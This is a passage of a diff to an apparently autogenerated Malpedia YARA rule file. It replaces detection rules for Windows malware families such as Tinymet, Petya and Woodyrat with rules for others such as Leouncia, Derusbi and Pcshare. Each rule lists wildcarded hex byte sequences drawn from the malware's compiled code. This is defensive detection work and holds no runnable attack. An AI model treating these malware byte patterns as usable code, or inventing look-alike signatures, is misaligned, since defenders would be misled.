488b4c2448 e8???????? } - $sequence_4 = { ffd3 833d????????00 7507 488b742408 eb15 e8???????? 498903 } - $sequence_5 = { e9???????? 488d4f54 4889ca 0fb619 ffcb 8819 480fbe0a } - $sequence_6 = { f20f59d8 f20f581d???????? f20f59d8 f20f581d???????? f20f59d8 f20f581d???????? f20f59d9 } - $sequence_7 = { ffc1 39d1 7d5d 4889f7 488b7640 4c63c1 4a8d34c6 } - $sequence_8 = { eb13 4883c420 5d c3 48bfffffffffffff0300 4989da 4585c0 } - $sequence_9 = { e8???????? 498913 48895018 488b942480000000 488b5c2470 4889f9 4c89c7 } + $sequence_0 = { 9c 90 8b1d???????? 6a00 } + $sequence_1 = { 50 68???????? a3???????? e8???????? 83c408 03df } + $sequence_2 = { a1???????? 6a00 03d2 52 50 ffd6 8b55ec } + $sequence_3 = { 83c404 8bf0 660f57c0 660f1345c4 8b5dc4 8b7dac } + $sequence_4 = { f7c200000002 7436 660f2805???????? 90 } + $sequence_5 = { 0fb64c0de8 c1ea04 0fb65415e8 8850ff 8808 0fb64c35ae } + $sequence_6 = { 50 68???????? e8???????? 83c414 eb14 ff15???????? } + $sequence_7 = { 83c404 68???????? eb33 8d4db0 51 } + $sequence_8 = { 8bc8 d1e8 83e101 33048d00904000 3305???????? a3???????? 33c0 } + $sequence_9 = { 57 8d45fc 50 3308 db6819 203c53 6840200800 } condition: - 7 of them and filesize < 42451968 + 7 of them and filesize < 221184 } -rule MALPEDIA_Win_Tinymet_Auto : FILE +rule MALPEDIA_Win_Leouncia_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c4e92467-e964-5a19-9a8e-d27b4954cbf2" + id = "a9724346-fb9d-57ad-b542-cb221faaaa09" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinymet_auto.yar#L1-L105" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.leouncia_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "bbccdde23def456246dacbb5efe68ad5d612883065da6028a6a7729364ff21ca" + logic_hash = "82ead8ce3a400451ff3f5916535aebe7ef2cee2e7927624a2fdf32a62ced8582" score = 75 quality = 75 tags = "FILE" @@ -125909,30 +125786,32 @@ rule MALPEDIA_Win_Tinymet_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 8b400c ff750c 8b00 8b00 a3???????? } - $sequence_1 = { 7419 a1???????? 6a00 83c005 56 } - $sequence_2 = { 5e 5d c3 a1???????? 56 57 6a5c } - $sequence_3 = { 85c0 0f8545010000 ff7508 ff15???????? 85c0 750a 68???????? } - $sequence_4 = { 385d10 7416 6a04 8d45fc } - $sequence_5 = { 8d45f0 50 8d45e8 50 e8???????? 83c410 b80033a084 } - $sequence_6 = { a1???????? 59 50 ff35???????? } - $sequence_7 = { 33c0 57 668906 e8???????? a3???????? 8d4602 50 } + $sequence_0 = { 50 c644141800 ff15???????? 85c0 7512 ff15???????? 83f805 } + $sequence_1 = { 3bf3 7519 8b35???????? 55 } + $sequence_2 = { 895c2464 ff15???????? 85c0 7520 } + $sequence_3 = { 8dbc247c040000 2bd6 8bca 89542418 8be9 c1e902 f3a5 } + $sequence_4 = { 7505 c6440c2820 41 3bc8 7cee 8b842434050000 56 } + $sequence_5 = { 50 e8???????? 8d4c2424 51 e8???????? 8b2d???????? 83c410 } + $sequence_6 = { e8???????? 8b4c2420 83c40c 889c0c14010000 } + $sequence_7 = { 8d542440 8d442450 8d8c24b4040000 52 } + $sequence_8 = { 8b0f 52 50 51 6a00 ff15???????? } + $sequence_9 = { 89942444040000 8b542434 8bc1 8bf5 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Unidentified_039_Auto : FILE +rule MALPEDIA_Win_Molerat_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5307ab67-7df6-58f4-b452-1c07a33c71d9" + id = "d42e4503-ecb9-5c8a-a5c4-49076e4c4692" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_039_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.molerat_loader_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "afa5455e6fc48dacd94f7935b5ea52166f1efb72a1cca9234dab50b4c119076b" + logic_hash = "fb8054083b6be147b0212c1c64a0a9853635b01e04e79803ccd8499a9a7c2505" score = 75 quality = 75 tags = "FILE" @@ -125946,32 +125825,32 @@ rule MALPEDIA_Win_Unidentified_039_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2bc8 034df4 81f1a1710000 894df8 8b45f4 8b4d0c 3bc8 } - $sequence_1 = { 894dfc 8b45f4 8b4df8 3bc8 7d0c ff75f8 } - $sequence_2 = { 837ddc00 75e6 c6460401 830eff 8bc6 2b04bd20d24100 } - $sequence_3 = { c745d8d9580000 8b45dc 59 59 8b4de0 } - $sequence_4 = { c7459c2e4c0000 c7459cd65d0000 8b459c 251f140000 89459c } - $sequence_5 = { 0bc1 8945d8 8b45f0 8b4df4 3bc8 7c0c } - $sequence_6 = { 40 663bcb 75f6 6a25 2bc2 8d4d04 51 } - $sequence_7 = { 6890010000 53 53 53 894538 } - $sequence_8 = { 0fafc1 8b4de8 2bc1 8b4dec 81e97f650000 33c1 8945f8 } - $sequence_9 = { 8b4dfc 0bc1 0d403a0000 8945f8 8b4508 8b4dfc 3bc8 } + $sequence_0 = { 8d4db8 c645fc34 e8???????? 68???????? 8d4dbc c645fc35 e8???????? } + $sequence_1 = { 51 c645fc42 e8???????? 83c40c } + $sequence_2 = { 8b08 8b11 50 8b4204 ffd0 c644243409 8b44240c } + $sequence_3 = { 56 a1???????? 33c4 50 8d84241c020000 64a300000000 6804010000 } + $sequence_4 = { 8d4c2450 c744242000000000 e8???????? 8d4c241c c644243802 e8???????? 8d442410 } + $sequence_5 = { ffb56cffffff c745fc02000000 e8???????? 3bc7 7585 56 ffb56cffffff } + $sequence_6 = { ffd0 68???????? 8d8d08feffff e8???????? 8b8508feffff 83c0f0 } + $sequence_7 = { c644241c02 8b442410 83c0f0 83c40c 8d500c 83c9ff f00fc10a } + $sequence_8 = { 83c40c 68???????? 50 8d4de0 b330 51 885dfc } + $sequence_9 = { 8b7d08 57 8d45e0 33f6 50 8975e8 } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 688128 } -rule MALPEDIA_Win_Bouncer_Auto : FILE +rule MALPEDIA_Win_Milkmaid_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d675a9d0-d309-5a64-9b07-233609ff1237" + id = "7da20991-98e0-57dd-8b6d-3afa27d44835" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bouncer_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.milkmaid_auto.yar#L1-L106" license_url = "N/A" - logic_hash = "ef61499d69e0696c4532f64e6ff2b982da08dae26c600412b066491c2f5e5346" + logic_hash = "7d1f7f5be2aa6e035c1f331c5b3df828eca6552df1209a5dbc69d5d2d3452b78" score = 75 quality = 75 tags = "FILE" @@ -125985,32 +125864,30 @@ rule MALPEDIA_Win_Bouncer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8441050000 50 ff75fc e8???????? 59 59 } - $sequence_1 = { 8b85b4feffff 48 3bc8 731b } - $sequence_2 = { 50 ff15???????? 8d85a4fdffff c645dc17 50 e8???????? 83c414 } - $sequence_3 = { c3 55 8bec 83ec24 56 8b750c } - $sequence_4 = { 53 8b5d10 56 57 8b7d0c 7410 a0???????? } - $sequence_5 = { 8bd8 3bde 7d13 68???????? ff15???????? } - $sequence_6 = { 56 56 ff15???????? 8d859cf6ffff 50 8d859cf8ffff 68???????? } - $sequence_7 = { 50 ff15???????? 83c40c eb2e ff7508 ff15???????? } - $sequence_8 = { 7e33 8d85f4feffff 50 56 e8???????? 85c0 7422 } - $sequence_9 = { 3bc6 59 a3???????? 750c 50 ff15???????? } + $sequence_0 = { 8d4c2414 889c24dc280100 e8???????? 8d4c240c } + $sequence_1 = { 8d442408 57 50 e8???????? 83c404 33db 68???????? } + $sequence_2 = { 8d4c2408 e8???????? 68???????? 8d4c2408 e8???????? 8b442404 6a00 } + $sequence_3 = { 8a8528280100 81e1ff0f0000 33db 84c0 8a5c2918 895c2428 } + $sequence_4 = { 50 ff15???????? 8b74241c 8d4c2404 51 8bce } + $sequence_5 = { 8d4c240c c78424dc280100ffffffff e8???????? 33c0 8b8c24d4280100 5f } + $sequence_6 = { 8b4c240c 50 51 8d8c2480000000 c68424e428010003 e8???????? } + $sequence_7 = { 6a00 6a1a 6a00 ff15???????? 6aff 8d4c2408 } condition: - 7 of them and filesize < 335872 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Phoreal_Auto : FILE +rule MALPEDIA_Win_Hoplight_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2e1897fd-9f9a-538a-af8f-a84b5fcbe486" + id = "c82c3889-c1c1-5b5f-b045-d951cf697dce" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phoreal_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hoplight_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "18c8ae88c86b0c778613b0a4c96093868db37bfa76fd9a20dc86ddc9f37cec17" + logic_hash = "64af8d5fa666e50115627ed90a11584ace05accbe5176be041c804017c028f5b" score = 75 quality = 75 tags = "FILE" @@ -126024,32 +125901,30 @@ rule MALPEDIA_Win_Phoreal_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33ff 8d642400 8b4608 3b7e0c 731f 8b0cb8 8d04b8 } - $sequence_1 = { 8bd0 0355f8 83c40c 2bf7 740b 8bce 33c0 } - $sequence_2 = { 8d45ac 50 51 53 ffd6 85c0 750a } - $sequence_3 = { 2bf0 03f8 85f6 7fe0 eb03 83cfff } - $sequence_4 = { 2bc1 50 51 8d45cc 50 53 } - $sequence_5 = { 51 c7852cfeffff01000000 888534feffff e8???????? 8d8554ffffff 33d2 8d7e17 } - $sequence_6 = { 1bd2 f7d2 85d1 75c3 8b5c2414 33ff 8b4c2418 } - $sequence_7 = { 8b0d???????? 8b55fc 8d040f 2bf0 03f1 c1fe02 } - $sequence_8 = { c78574ffffff8992f2a7 c78578ffffffaa9e9aee c7857cffffff89a5c199 c7458067cc6aaf c74584fa1200f5 c74588efc8d4ba } - $sequence_9 = { 85ff 7414 8b855cffffff 50 } + $sequence_0 = { 488b442450 c70000000000 c705????????00000100 b800000100 eb53 488b442440 4889442428 } + $sequence_1 = { 0fb6542434 488b4c2450 e8???????? 488b442450 8b80ccaf0600 488b4c2450 488d8401b8af0100 } + $sequence_2 = { 488bcb 488905???????? ff15???????? 488d158c620400 488bcb 488905???????? ff15???????? } + $sequence_3 = { 488b442428 488b8018020000 4889442428 41b820020000 33d2 488b4c2430 e8???????? } + $sequence_4 = { 4883c004 4889842418020000 8b442414 0faf442424 8944240c 8b442414 0faf442408 } + $sequence_5 = { 488b4878 e8???????? b801000000 eb76 41b800420000 33d2 488b442440 } + $sequence_6 = { 4489442418 4889542410 48894c2408 4883ec48 488b4c2450 e8???????? 89442420 } + $sequence_7 = { 482bc8 488bc1 4883f801 7d0a b814ffffff e9???????? 488b8424d0000000 } condition: - 7 of them and filesize < 622592 + 7 of them and filesize < 765952 } -rule MALPEDIA_Win_Shadowhammer_Auto : FILE +rule MALPEDIA_Win_Comebacker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "297b3240-9669-5c2f-9f70-bac21eea5e4b" + id = "19238c8d-fa63-54d2-9e85-3ef6a0f14568" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shadowhammer_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.comebacker_auto.yar#L1-L159" license_url = "N/A" - logic_hash = "910985146f49579376d7edf79ed10031d031e34957a06d7ed180548cab7651ac" + logic_hash = "5042f5e1cb03a035d2e07683a701a487f9bff93086c3cbb30af6f5ad30fe783b" score = 75 quality = 75 tags = "FILE" @@ -126063,32 +125938,37 @@ rule MALPEDIA_Win_Shadowhammer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 57 33f6 bfa8a24000 833cf55490400001 751d 8d04f550904000 } - $sequence_1 = { 6a69 668945ae 58 6a49 59 6a44 } - $sequence_2 = { 897e70 c686c800000043 c6864b01000043 c7466818934000 6a0d } - $sequence_3 = { 5f c3 56 8b35???????? 68287c4000 57 ffd6 } - $sequence_4 = { c3 55 8bec 81ec4c030000 c785e4fcffff00b006c7 c785e8fcffffdab6ace6 c785ecfcffffc25c3799 } - $sequence_5 = { 3d40984000 741b 3998b4000000 7513 50 e8???????? } - $sequence_6 = { ff45fc 8b45fc 3b45f4 7cb7 ebae 8b45f0 ebab } - $sequence_7 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466818934000 } - $sequence_8 = { 817de00c714000 7311 8b45e0 8b00 85c0 7402 ffd0 } - $sequence_9 = { 8b401c 8b08 3bc8 7439 } + $sequence_0 = { 6683f809 7f04 0430 eb02 0437 } + $sequence_1 = { baa2000000 4c8d0d47450300 b910000000 448d42a0 } + $sequence_2 = { 0fb6c2 418b8c8270c30400 81e100ff0000 4433c1 453341fc 453343fc } + $sequence_3 = { b801000000 418bc8 0f45c8 488d05c0150300 488d1d11aa0300 85c9 } + $sequence_4 = { 4c8d0583520100 418d5216 e8???????? 85c0 750a b805000000 } + $sequence_5 = { 6690 e8???????? 48ffc3 8bf8 b84fecc44e f7ef } + $sequence_6 = { 89742440 48894598 c744245068000000 c744247004010000 } + $sequence_7 = { 0fb6c8 8bc5 8b948e70cf0400 48c1e808 0fb6c8 81e20000ff00 } + $sequence_8 = { e8???????? a1???????? 8b8da8f8ffff c1e00a d1e8 2bcf } + $sequence_9 = { 33d2 8a54242a 8adc 8b149538600410 } + $sequence_10 = { 5b c3 8b74241c 8b6c2414 85f6 } + $sequence_11 = { 6806020000 8d8d7ef7ffff 53 51 885de8 8945e9 } + $sequence_12 = { 52 ff15???????? a3???????? 85c0 7440 399de8e5ffff 750a } + $sequence_13 = { 8b0c8d38500410 33d3 8b3cbd38500410 81e1ff000000 } + $sequence_14 = { 74ab 8d8df4feffff 51 e8???????? 83c404 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 1429504 } -rule MALPEDIA_Win_Petya_Auto : FILE +rule MALPEDIA_Win_Derusbi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6e25f6ba-0f88-5dbc-a462-9f4861151314" + id = "c6e0e6e7-cbdf-5891-a775-1ae225a23d68" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.petya_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.derusbi_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "e12039168edf2e4657ffd112871fe75ec301f0f0758dfc0dfdc297a04b207216" + logic_hash = "36fd1aba73e044d12574f8ec4270d71e7197a2500df09c018d411307abbf5635" score = 75 quality = 75 tags = "FILE" @@ -126102,32 +125982,32 @@ rule MALPEDIA_Win_Petya_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bc7 c1e810 88442431 8bc7 c1e808 88442432 } - $sequence_1 = { 117c2434 33f6 0facc81c c1e204 0bf0 c1e91c } - $sequence_2 = { 56 8b35???????? 33c9 57 33ff 8d0486 8bd8 } - $sequence_3 = { 83c604 3bfb 72f0 5f 5e 5b } - $sequence_4 = { 0bf1 33442424 33fe 23442420 } - $sequence_5 = { 8b4c2420 33fe 8bf0 33da 0facc80e 33d2 c1e612 } - $sequence_6 = { 8bca 88442428 8bc6 c1e810 88442429 8bc6 } - $sequence_7 = { 56 8b750c 57 83fe01 7517 } - $sequence_8 = { 8bca c1e303 0facc110 897c2424 c1e810 8bc2 884c242d } - $sequence_9 = { 8b5d0c 33c9 56 8b7508 2bde } + $sequence_0 = { 85c0 75be 8b45c8 895db0 895dac 3bc3 0f84affeffff } + $sequence_1 = { 72e4 5e c3 55 8bec 51 53 } + $sequence_2 = { 6810040000 ff15???????? 8985f8fdffff 85c0 7464 } + $sequence_3 = { ff7508 ff15???????? 8bf0 59 85f6 740f ff7508 } + $sequence_4 = { 56 89442418 57 8d442424 50 8d44242c 50 } + $sequence_5 = { 83c108 3d00040000 72f1 e9???????? 215cc70c 8d5cc710 } + $sequence_6 = { 50 ff15???????? 83c40c 56 8d4c2470 51 889c2407010000 } + $sequence_7 = { 83c40c 8d45dc 50 ff15???????? 83f8ff 740d a810 } + $sequence_8 = { 53 50 ffd6 83c40c 8d442424 50 8d84242cbc0200 } + $sequence_9 = { 8d85b8f7ffff e8???????? 59 33c9 85c0 7e25 80b40db8fbffff99 } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Lcpdot_Auto : FILE +rule MALPEDIA_Win_Fobber_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a81ecd6b-bd4a-5150-b889-dde71e2987e1" + id = "910b3d1e-c7a6-55ab-b1c2-4f8035f4a57d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lcpdot_auto.yar#L1-L161" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fobber_auto.yar#L1-L162" license_url = "N/A" - logic_hash = "d5b8eea547f6e9190b9bc0d0e04ea03ad2b12f2bfb6cbcdecca904cccb5849ef" + logic_hash = "3cf9174005b14188a8f0ba63481f290f2ae0ab907becb2c7edb09c680f60ed5d" score = 75 quality = 75 tags = "FILE" @@ -126141,37 +126021,38 @@ rule MALPEDIA_Win_Lcpdot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? c705????????01000000 e8???????? 83f801 } - $sequence_1 = { 418bdc 4c89642438 4489642430 488d442430 } - $sequence_2 = { 8bf1 889d14fcffff e8???????? 8d4620 83c40c 8d5002 } - $sequence_3 = { c78560fbffff4b4c6763 c78564fbffff66975c5f c78568fbffff8d676a9b c7856cfbffff5254774f c78570fbffff51724647 c78574fbffff5d9293ab } - $sequence_4 = { 742b 488d153c300100 eb15 48ffc9 741d 448b4338 } - $sequence_5 = { 52 ff15???????? 8b85f0efffff 8b8de8efffff 8b5604 6a00 6a00 } - $sequence_6 = { e8???????? 85c0 745f 8b8db4fbffff 85c9 7e23 8b85b8fbffff } - $sequence_7 = { ff15???????? 85c0 7468 33d2 68fe010000 } - $sequence_8 = { 741e 448b4638 4585c0 7415 488d1537380100 488d8c2440020000 } - $sequence_9 = { 8b542460 41bb00020000 4c8d0dc990ffff 458a20 4584e4 } - $sequence_10 = { 8975c8 c745dc38634100 ff15???????? 6a00 56 } - $sequence_11 = { e9???????? 488bd3 b940000000 4889ac24a8080000 } - $sequence_12 = { c74594c17e92d8 c74598a0b6d79f c7459cb6e6b8cb c745a0e5b6cad0 c745a4d0def5f5 c745a8faf2f2f7 } - $sequence_13 = { 468d2cb500000000 41f7ed 448bda 41c1fb05 } - $sequence_14 = { 52 8d041f 50 e8???????? 8b861c080000 83c418 03c7 } + $sequence_0 = { 8b750c 8b4d10 39f7 760e } + $sequence_1 = { 57 51 8b7d08 30c0 31c9 f7d1 } + $sequence_2 = { 8d0431 39f8 7607 49 01cf } + $sequence_3 = { 57 e8???????? 85c0 740f 89c1 } + $sequence_4 = { 8d4d08 51 ff31 ffd0 } + $sequence_5 = { 55 89e5 ff750c 6800300000 } + $sequence_6 = { 0453 42 e2f6 59 } + $sequence_7 = { f2ae 31c0 e303 4f } + $sequence_8 = { 8981efc00700 0081efe82300 0081c7371300 0081c7546900 0081c7397d00 00e9 } + $sequence_9 = { 0f85196e0100 807dfc00 7407 8b4df8 836170fd 5e } + $sequence_10 = { 4d fc 02e9 5a a2???????? 92 b4ff } + $sequence_11 = { 0f8423050000 ff7508 e8???????? 59 59 8b4508 } + $sequence_12 = { 43 7706 6205???????? 294a75 f2149c } + $sequence_13 = { 6a52 686bb7ade9 e8???????? 83c408 } + $sequence_14 = { 3bc3 7524 8b451c 3bc3 } + $sequence_15 = { 33db 57 3bcb 0f8499840100 3bf3 0f84a2840100 } condition: - 7 of them and filesize < 257024 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Allaple_Auto : FILE +rule MALPEDIA_Win_Unidentified_053_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "76748fdd-5448-52e3-b40a-c8804bcac97d" + id = "44778796-93f3-5879-994d-5e3e2324b3e0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.allaple_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_053_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "89aee7277247b951ca979dcece1297fc5fda6e02a408403041aa3b0414e347cd" + logic_hash = "0ba9fcbf3221aa7fe9aa16ac81cd13a3c2e0b0b30a12bf9f5e09619187f5d921" score = 75 quality = 75 tags = "FILE" @@ -126185,71 +126066,71 @@ rule MALPEDIA_Win_Allaple_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945f4 57 ff75fc e8???????? 8945f0 897de8 897dec } - $sequence_1 = { 83c704 c70704000000 83c704 6a18 ff7510 57 e8???????? } - $sequence_2 = { c7420c76543210 8be5 5d c3 55 8bec } - $sequence_3 = { 0345d8 50 e8???????? 83c408 a3???????? 6a03 ff35???????? } - $sequence_4 = { 8b45e4 33c2 8945e4 8b4dec 8b55f0 8d044a 0345b0 } - $sequence_5 = { 52 ff750c e8???????? 47 4b 83c604 0bdb } - $sequence_6 = { 50 ff75fc e8???????? 8d85c0feffff 50 8d85c4feffff } - $sequence_7 = { 6a00 6a64 8d8544fdffff 50 e8???????? 6a00 } - $sequence_8 = { 8b55fc 8b4238 3345f4 8b4df8 894138 8b55fc 8b423c } - $sequence_9 = { 8975f0 6a50 e8???????? 668945ee 6a10 8d45ec 50 } + $sequence_0 = { 0f857afeffff 393cb500924100 742e a1???????? 8d70ff 85f6 } + $sequence_1 = { 0fb6bdb0fffcff c1e208 0bd7 03d0 2bca 6a00 } + $sequence_2 = { 754d 53 57 8d3c85a8914100 833f00 bb00100000 7520 } + $sequence_3 = { 7e13 8d048dfc914100 3938 7408 4a } + $sequence_4 = { 8a6e1b 0fb64619 0fb67df4 8a4e1a } + $sequence_5 = { 81e9003ca875 87d6 4e 46 87d6 81c1003ca875 } + $sequence_6 = { 0fb6d2 f6820194410004 7406 8b10 41 } + $sequence_7 = { c1c719 e8???????? 87f2 e8???????? 2bd5 } + $sequence_8 = { 891d???????? 4a 87d6 8915???????? 03f7 46 893d???????? } + $sequence_9 = { 8b048588814100 234508 8b4e14 8d04c1 0fb64801 8b5004 83fa10 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 294912 } -rule MALPEDIA_Win_Komprogo_Auto : FILE +rule MALPEDIA_Win_Miancha_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b83eddfd-6609-5160-bb17-24d52dab0572" + id = "fc1eda3c-bd5f-5571-91d7-7aefaea33797" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.komprogo_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miancha_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "5f20beca4c5ecafddf1c339febd8122f816667a260edfabf9768a16c874c78f2" + logic_hash = "f932de22bd95ab60efbbe4e694e46f3915e7f38800c91edc1e731744ddf1fb94" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { e8???????? 68???????? 8d45f4 50 c745f400614100 e8???????? cc } - $sequence_1 = { c745ec00000000 84c0 7407 be01000000 eb15 51 e8???????? } - $sequence_2 = { 899ef6e80000 899eeca10000 8d8610700300 8986aee90000 8d861c970300 898632ea0000 } - $sequence_3 = { 8d55f0 52 8b11 8d45f4 50 52 } - $sequence_4 = { 899e876b0000 51 8b4dfc 899e9a6b0000 8d8696d20300 } - $sequence_5 = { 8d85e4f3ffff 50 8d8decfdffff 51 c78584f3ffff44000000 ff15???????? 8bf0 } - $sequence_6 = { 51 8d86a0d00300 8bcb e8???????? 83c404 84c0 } - $sequence_7 = { 8d8650e60300 8d961ef30100 898623bc0200 899634320200 8d8636a50200 898675af0200 } - $sequence_8 = { 8d8ee0920000 898e1caa0300 8d8e80720300 8d96305d0300 51 8b4df4 8d8600cf0300 } - $sequence_9 = { 89966c940300 8d9698ec0300 89964da90200 898e88aa0200 8986cbaa0200 8d860cea0300 8986f7aa0200 } + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { c744242000000000 ff15???????? 50 ff15???????? 8bf0 85f6 } + $sequence_1 = { 56 8b35???????? 6a02 6a00 68???????? } + $sequence_2 = { ffd6 85c0 741a 837c241800 7413 } + $sequence_3 = { 68???????? c744242000000000 ff15???????? 50 ff15???????? 8bf0 85f6 } + $sequence_4 = { 8b0d???????? 895008 8a15???????? 89480c } + $sequence_5 = { 52 6803000080 ff15???????? 85c0 741f } + $sequence_6 = { 8910 8b15???????? 894804 8b0d???????? 895008 8a15???????? 89480c } + $sequence_7 = { 85c0 741a 837c241800 7413 } + $sequence_8 = { ff15???????? 8bf0 85f6 7412 8d542418 } + $sequence_9 = { 40 50 56 8b35???????? 6a02 6a00 } condition: - 7 of them and filesize < 1045504 + 7 of them and filesize < 376832 } -rule MALPEDIA_Win_Woodyrat_Auto : FILE +rule MALPEDIA_Win_Pcshare_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ff2403f4-80f5-5a92-a716-69463c81a517" + id = "7a2279a4-a61d-58a7-97d7-adf12e2edb7d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woodyrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.woodyrat_auto.yar#L1-L134" + reference = 